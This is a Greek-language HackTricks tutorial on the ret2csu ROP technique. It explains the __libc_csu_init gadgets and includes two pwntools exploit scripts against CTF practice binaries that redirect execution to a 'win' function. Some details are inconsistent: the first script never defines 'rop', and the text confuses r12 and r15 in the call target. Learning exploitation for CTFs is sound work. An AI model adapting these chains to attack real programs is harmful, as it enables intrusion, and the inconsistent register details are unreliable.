Ret2csu

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfΒασικές Πληροφορίες

ret2csu είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα gadgets που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.

Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται __libc_csu_init.

Τα Μαγικά Gadgets στο __libc_csu_init

Στο __libc_csu_init, υπάρχουν δύο ακολουθίες εντολών (gadgets) που πρέπει να επισημάνουμε:

  1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.
armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποθηκεύοντας τιμές από τη στοίβα σε αυτούς.

  1. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα:
  • Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.
  • Εκτέλεση κλήσης σε μια τοποθεσία που καθορίζεται προσθέτοντας τις τιμές σε r15 και rbx, και στη συνέχεια πολλαπλασιάζοντας το rbx με 8.
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Ίσως να μην γνωρίζετε καμία διεύθυνση για να γράψετε εκεί και χρειάζεστε μια ret εντολή. Σημειώστε ότι το δεύτερο gadget θα τελειώνει επίσης σε μια ret, αλλά θα χρειαστεί να πληροίτε κάποιες προϋποθέσεις για να το φτάσετε:
armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Οι συνθήκες θα είναι:

  • [r12 + rbx*8] πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν έχετε ιδέα και δεν υπάρχει pie, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση _init):
  • Αν η _init είναι στη διεύθυνση 0x400560, χρησιμοποιήστε το GEF για να αναζητήσετε έναν δείκτη στη μνήμη προς αυτήν και κάντε το [r12 + rbx*8] να είναι η διεύθυνση με τον δείκτη προς τη _init:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
  • rbp και rbx πρέπει να έχουν την ίδια τιμή για να αποφευχθεί η εκτροπή
  • Υπάρχουν μερικά παραλειπόμενα pops που πρέπει να λάβετε υπόψη

RDI και RSI

Ένας άλλος τρόπος για να ελέγξετε rdi και rsi από το gadget ret2csu είναι να αποκτήσετε πρόσβαση σε συγκεκριμένες μετατοπίσεις:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:

BROP - Blind Return Oriented Programming

Παράδειγμα

Χρησιμοποιώντας την κλήση

Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το write(), αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές rdx και rsi ως παραμέτρους. Κανονικά, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα.

Εδώ είναι που μπαίνει σε παιχνίδι το ret2csu:

  1. Ρύθμιση των Καταχωρητών: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.
  2. Χρησιμοποιήστε το Δεύτερο Gadget: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους rdx και rsi (από r14 και r13, αντίστοιχα), προετοιμάζοντας παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το r15 και το rbx, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο [r15 + rbx*8].

Έχετε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ, και αυτό είναι το τελικό exploit που χρησιμοποιήθηκε:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

warning

Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει RCE, αλλά απλώς καλεί μια συνάρτηση που ονομάζεται win (λαμβάνοντας τη διεύθυνση του win από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή 0xdeadbeefcafed00d.

Παράκαμψη της κλήσης και προσέγγιση του ret

Η παρακάτω εκμετάλλευση εξήχθη από αυτή τη σελίδα όπου χρησιμοποιείται το ret2csu αλλά αντί να χρησιμοποιεί την κλήση, παράκαμπτε τις συγκρίσεις και προσεγγίζει το ret μετά την κλήση:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Γιατί να μην χρησιμοποιήσετε απευθείας τη libc;

Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε ret2plt + ret2lib, αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση write() απαιτεί τρεις παραμέτρους, και η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή.

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks